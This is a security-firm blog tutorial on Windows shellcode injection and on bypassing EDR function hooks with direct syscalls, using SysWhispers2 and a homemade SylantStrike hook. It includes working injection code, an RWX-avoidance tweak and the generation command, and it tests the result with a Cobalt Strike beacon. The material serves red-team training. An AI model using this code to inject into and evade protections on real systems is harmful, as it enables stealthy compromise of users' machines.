In our last blog, Brandon – a member of our highly skilled Red Team here at Secarma – took us through the basics and theory of process injection. After writing out all the information he wishes he was given when he was first developing his hacking abilities, now he’s going to provide an overview of some of the stuff he does now, as a much more experienced tester. Read on for a look at some of his more modern process injection techniques:

Introduction

In part 1 of this series, we looked at the theory behind Process Injection and the things that need to be in place on the Windows host for it to be successful. At the end of that blog, two examples were given:

  1. Shellcode Injection
  2. DLL Injection

However, none of these were given any Operational Security considerations. In this blog, we will look at how to weaponise and secure Process Injection against Modern Endpoint-Protection – modern process injection, if you will.

Indicators of Compromise

To make this blog simpler, we are going to focus on one method: Shellcode Injection.

As a reminder, here is the standard method to do so:

void Inject(int pid) {
       LPVOID pAddress;
       HANDLE hThread;
       HANDLE hProcess;
       DWORD id;
       SIZE_T bytesWritten;

       hProcess = ::OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_WRITE|PROCESS_VM_OPERATION, TRUE, pid);

       if (!hProcess) {
             printf("[!] OpenProcess(): %u\n", GetLastError());
             goto Cleanup;
       }
       printf("[+] Process Handle: %p\n", hProcess);

       pAddress = ::VirtualAllocEx(hProcess, nullptr, bufsize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
       
       if (!pAddress) {
             printf("[!] VirtualAllocEx(): %u\n", GetLastError());
             goto Cleanup;
       }
       printf("[+] Base Address: %p\n", pAddress);

       if (!::WriteProcessMemory(hProcess, pAddress, buf, bufsize, &bytesWritten)) {
             printf("[!] WriteProcessMemory(): %u\n", GetLastError());
       }
       printf("[+] Wrote %lld bytes!\n", bytesWritten);

       hThread = ::CreateRemoteThread(hProcess, nullptr, bufsize, (LPTHREAD_START_ROUTINE)pAddress, nullptr, GENERIC_EXECUTE, &id);
       if (!hThread) {
             printf("[!] CreateRemoteThread(): %u\n", GetLastError());
             goto Cleanup;
       }
       printf("[+] Thread Handle: %p\n", hThread);
       ::CloseHandle(hThread);

Cleanup:
       if (hProcess) ::CloseHandle(hProcess);
       return;
}

If this doesn’t look familiar, then refer to part one. Let’s look at some of the points of detection in PEStudio:

modern process injection

The imports can be seen above, everything else will be the Multi-threaded Visual Studio compilation stuff that we don’t need to worry about. The calls we made are all there though:

  1. WriteProcessMemory
  2. OpenProcess
  3. CreateRemoteThread
  4. VirtualAllocEx

This begs the question, “why is this an issue?”. Endpoint Protection & Response (EDR) are considered the modern solution to protecting workstations and servers. Over the past few years, a lot of research has gone into dealing with EDR, including:

  1. Silencing Cylance: A Case Study in Modern EDRs
  2. A tale of EDR bypass methods
  3. Red Teaming in the EDR age

The way most of this works is by utilising a Function Hooking which allows the EDR to identify the call the Windows API the application wants and redirects it through its own DLL as a sort of proxy. This works by copying the target function’s first few instructions into executable memory and replacing them with a jmp to a hook. Another jmp instruction is added to allow the call to return to the original function. This is detailed quite well in FireWalker: A New Approach to Generically Bypass User-Space EDR Hooking.

To recap, function hooking allows for the applications calls to be assessed on execution, which is a problem. Even if the shellcode being injected is clean, this methodology of calls has a high possibility of being flagged. A lot of research has gone into dealing with this, and we will get to it later – but first we need to discuss the Protection Ring.

User-land vs Kernel-land

Before jumping into dealing with EDRs, there is a bit of background to be done first. The following diagram has come up in almost every other discussion of user-land and kernel-land architecture:

modern process injection

Giving this some context, most user activity will occur at ring 3, known as User Mode. And the Kernel operates (surprisingly) within Kernel Mode. More detail can be found in Windows Programming/User Mode vs Kernel Mode. Cross-over between user mode and kernel mode can and does happen.

For a better representation of Kernel Mode and User Mode, see the Overview of Windows Components documentation:

process injection

Rings 1 and 2 are typically left for device drivers. But why is this useful? Well, it turns out that the Windows API utilises the Native API which operates within Kernel Mode. As an example, API Monitor can be used to look at the calls being executed:

penetration testing

 

Two for one, the above shows CreateThread being called and then, subsequently, NtCreateThreadEx being called shortly after. The same happens with WaitForSingleObject.

So, what have we learned? Well, when a call to a Windows API is made, say from Kernel32.dll, it will then call NTDLL.DLL. This NTDLL.DLL will then load the EAX register with the system service number for calls equivalent kernel function. For example, CreateThread calls NtCreateThreadEx. Finally, NTDLL.dll will then issue a SYSENTER instruction. This causes the processor switch to kernel mode, and jumps to a predefined function, called the System Service Dispatcher. The following image is from Rootkits: Subverting the Windows Kernel, in the section on Userland Hooks:

red team hacker

Back in 2019 Cneelis published Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR which had a subsequent release of SysWhispers:

“SysWhispers provides red teamers the ability to generate header/ASM pairs for any system call in the core kernel image (ntoskrnl.exe). The headers will also include the necessary type definitions.”

Then modexp provided an update which corrected a shortcoming with version 1 and gave us SysWhispers2:

“The specific implementation in SysWhispers2 is a variation of @modexpblog’s code. One difference is that the function name hashes are randomized on each generation. @ElephantSe4l, who had published this technique earlier, has another implementation based in C++17 which is also worth checking out.”

The main change is the introduction of base.c which is a result of Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams.

Hooking Example

Before updating the injection function, some sort of hooking application is required. For this, SylantStrike can be adapted. More specifically the main DLL. The logic behind this “EDR” is described in:

  1. Lets Create An EDR… And Bypass It! Part 1
  2. Lets Create An EDR… And Bypass It! Part 2

All of which is written by CCob. The library used for hooking is MinHook but a full list can be found on GitHub.

Using the same logic as part 1, the DLL can be injected into the sacrificial notepad process:

sacrificial notepad process

In this case, the “EDR” is called Po and the DLL has been successfully loaded. The hook is currently present on NtProtectVirtualMemory which also corresponds to VirtualProtect:

MH_STATUS status = MH_CreateHookApi(TEXT("ntdll"), "NtProtectVirtualMemory", NtProtectVirtualMemory, reinterpret_cast<LPVOID*>(&pOriginalNtProtectVirtualMemory));

For this hook to work, this call needs to be present in the injection process – which it currently isn’t. This modern process injection blog won’t cover this in as much detail as I’d like, but another common point of signature is Read, Write and Execute (RWX) sections in memory. Hunting this has been documented and it is highly recommended that this is avoided. This issue is easy enough to fix:

  1. Allocate as PAGE_READWRITE
  2. Update to PAGE_EXECUTE_READ

More on this can be found on MSDN.

Update VirtualAllocEx to use PAGE_READWRITE:

pAddress = ::VirtualAllocEx(hProcess, nullptr, bufsize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

After the data is written with WriteProcessMemory, update the constant:

if (!::VirtualProtectEx(hProcess, pAddress, bufsize, PAGE_EXECUTE_READ, &flProtect)) {
    printf("[!] VirtualProtectEx(): %u\n", GetLastError());
}
printf("[+] Updated to PAGE_EXECUTE_READ!\n");

Doing all this and running against the process with Po.DLL loaded will bypass it. This is because of the following code block:

if ((NewAccessProtection & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE) {
    //It was, so notify the user of naughtly behaviour and terminate the running program
    MessageBox(nullptr, TEXT("You've been a naughty little hax0r, terminating program"), TEXT("Hax0r Detected"), MB_OK);
    TerminateProcess(GetCurrentProcess(), 0xdead1337);
    //Unreachable code
    return 0;
}

If PAGE_EXECUTE_READWRITE is set, flag it. This reiterates the point of RWX sections. So, removing this and having it flag on any call to VirtualAllocEx:

DWORD NTAPI NtProtectVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PULONG NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection) {
       //It was, so notify the user of naughtly behaviour and terminate the running program
       MessageBox(nullptr, TEXT("You've been a naughty little hax0r, terminating program"), TEXT("Hax0r Detected"), MB_OK);
       TerminateProcess(GetCurrentProcess(), 0xdead1337);
       //Unreachable code
       return 0;
}

This code is not practical, but it will prove a point. If the call is identified, show SylantStrike’s default message, and terminate:

hax0r hacker pentester

Thus far we’ve had a quick overview of RWX and gave a short example of hooking. So, lets bypass it.

Bypassing the Hooks

Part of modern process injection is dealing with function hooking, and there are a few ways to do it. This demonstration will go discuss achieving it with syscalls as previously discussed. However, some other techniques will be discussed briefly afterwards. For this, SysWhispers2 will be used.

As shown in previous sections, the Native API call can be found by using API Monitor or a debugger to identify the call. The required calls for this example are:

Windows API Native API
VirtualAllocEx NtAllocateVirtualMemory
WriteProcessMemory NtWriteVirtualMemory
VirtualProtectEx NtProtectVirtualMemory
CreateRemoteThread NtCreateThreadEx

To get the correct data for these calls, the following command can be used:

python3 syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtProtectVirtualMemory -o syscalls

As the code is being written in Visual Studio, the instructions from the repository should be used:

  1. Copy the generated H/C/ASM files into the project folder.
  2. In Visual Studio, go to ProjectBuild Customizations… and enable MASM.
  3. In the Solution Explorer, add the .h and .c/.asm files to the project as header and source files, respectively.
  4. Go to the properties of the ASM file and set the Item Type to Microsoft Macro Assembler.
  5. Ensure that the project platform is set to x64. 32-bit projects are not supported at this time.

Running through the replacements, VirtualAllocEx is replaced with:

status = NtAllocateVirtualMemory(hProcess, &pAddress, 0, (PSIZE_T)&bufsize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

WriteProcessMemory:

status = NtWriteVirtualMemory(hProcess, pAddress, buf, bufsize, nullptr);

VirtualProtectEx:

status = NtProtectVirtualMemory(hProcess, &pAddress, (PSIZE_T)&bufsize, PAGE_EXECUTE_READ, &flProtect);

CreateRemoteThread:

status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, pAddress, NULL, FALSE, 0, 0, 0, NULL);

Testing the code:

cobalt strike

The updated code works, reinjecting the DLL:

reinjecting the DLL

Now that it is reinjected, the new process injection utility will be used to test that the hook has been bypassed.

As a reminder, it is set to catch NtProtectVirtualMemory. For a change of scenery, let’s try catch NtWriteVirtualMemory:

DWORD NTAPI NtWriteVirtualMemory(IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL){ 
       MessageBox(nullptr, TEXT("CAUGHT YOUR WRITE!"), TEXT("Best EDR maybe ever"), MB_OK); 
       return 0; 
}

No specific circumstances have been set, so this should flag whenever it sees anything:

And then in Cobalt Strike:

COBALT STRIKE

PID 7864 has been injected into. So, lets recap. So far, we’ve taken a benign process injection technique and borrowed some hooking logic from SylantStrike to replicate one aspect of an EDR. This was then bypassed utilising x64 syscalls, which is one method of doing so. If x86 is required, then SysWhispers2_x86 can be used.

Instead of using syscalls, another common technique is Function Unhooking which does exactly as it suggests. It undoes the hook that was implemented. This is well documented in Universal Unhooking: Blinding Security Software and a Beacon Object File has taken this logic and wrapped it up into unhook-bof. SpecterOps have also published Adventures in Dynamic Evasion which is a highly recommended read.

Taking it a step further

The technique used to inject into the process followed the most common methodology and there are plenty of others that provide more control and are harder to detect from an inter-process perspective. If this is something that is being implemented, it is highly recommended to do some research into these which will be left as homework for the reader. There are several reasons to use process injection:

  1. Initial Implant Execution
  2. Fork & Run for Post Exploitation
  3. Lateral Movement/Privilege Escalation

And a few others. Depending on the requirement, it may be worth looking into Parent PID Spoofing to avoid awkward process architecture such as WORD.EXE running MALWARE.EXE, for example, it’s just not a “natural” structure processes will take. Furthermore, it may be worth protecting the execution even further by utilising “Block non-Microsoft DLLs” which has been documented by xpn.

The more functionality used, the more imports the PE will have; that is another thing to bear in mind and can be solved with dynamic function resolution, or more syscalls. Either way, no matter the reason for requiring process injection; there is always more opsec you can and should take.

Conclusion

Okay, so; this two-parter has introduced process injection and its place in the Windows world. How it works, why it works and why it’s used. With the theory covered, we moved into understanding the requirements for modern process injection, which introduces a primitive EDR where we knew the calls that were being hooked. An honourable mention here is the EDRs repository from Mr.Un1k0d3r which aims to document all the hooked functions across multiple EDRs. If there are any inaccuracies or any general questions, message me on Twitter.

Want more insights from the team? We’ve got you covered: check out Secarma Labs’ Twitter for more offensive security musings.

If you’re interested in developing your pentesting knowledge, we’re running a series of Hacking & Defending security training courses, where you get hands-on experience in ethical hacking. If you’re interested in modern process injection, this could be the course for you. If you’d like to get involved, check out our Training page, or contact us here.

Latest

Cybersecurity Misconceptions

At Secarma, we're passionate about security. That's why, as part of Cybersecurity Awareness Month 20...

Cybersecurity Events in the Capital

Over the past month or so, the Secarma team have been very busy with cybersecurity events. From the ...

Join us at the International Cyber Expo

The security experts at Secarma are pleased to be exhibiting at the International Cyber Expo at the ...